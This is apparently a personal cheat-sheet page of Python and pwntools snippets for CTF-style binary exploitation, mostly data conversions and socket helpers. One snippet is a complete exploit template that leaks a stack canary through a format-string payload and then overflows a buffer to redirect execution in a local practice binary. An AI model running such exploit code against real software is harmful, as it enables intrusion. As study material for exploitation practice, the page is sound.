10 Apr 2024
Hacking snippets
hackingbasics
Python Snippets
- hex to bytes to string
hex_value = "4765656b73666f724765656b73" byte_str = bytes.fromhex(hex_value) result_str = byte_str.decode('utf-8')
- string to bytes
byte_arr = str.encode("Foo")
- string to hexdump
byte_out = "string".encode().hex()
- hex string to int
x = int("deadbeef", 16) x = int("0xdeadbeef", 0) x = int("0xdeadbeef", 16)
- integer to binary/octal/hexadecimal
bin(23) oct(31) hex(26)
- basic pwntools template
#!/usr/bin/python import pwn pty = pwn.process.PTY proc = pwn.process("./a.out", stdin = pty, stdout = pty) proc.recvuntil(b"lies at ") addr = proc.recvline().decode("utf-8").strip() # print("addr =", addr) addr = int(addr, 16) proc.recvline() proc.recvline() pad = b"-" * 11 buffer = b"a" * 32 format_string_payload = buffer + pad + b"%21$p" proc.sendline(format_string_payload) proc.recvline() proc.sendline(b"2020") proc.recvline() proc.sendline(b"06") proc.recvline() proc.sendline(b"16") proc.recvuntil(b"to " + pad) canary = proc.recvline().decode("utf-8").strip() # print("canary =", canary) canary = int(canary, 16) proc.recvuntil(b"you?") buffer = b"a" * 32 format_string = b"b" * 16 padding = b"c" * 8 payload = buffer + format_string + padding + pwn.p64(canary) + padding + pwn.p64(addr) proc.sendline(payload) proc.recvline() proc.recvline() print("############################# PROGRAM OUTPUT #########################") print(proc.recvline().decode("utf-8")) print("######################################################################")
- connect to a netcat port
io = remote("new.domain.name", 80) io = remote("12.12.12.12", 5000)
- receive xyz after connecting
io.recv(n) # nbytes io.recvline() # till newline io.recvuntil("string") #receive until the occurrence of string
- send xyz after connecting
io.send(b'bytes') io.sendline(b'bytes') # also sends a newline
- convert an integer to 32/64 byte address little-endian
pwn.p32(some_integer) pwn.p64(some_integer)
- same as above, but big-endian, and signed
pwn.p64(some_int, endian="big", sign=True)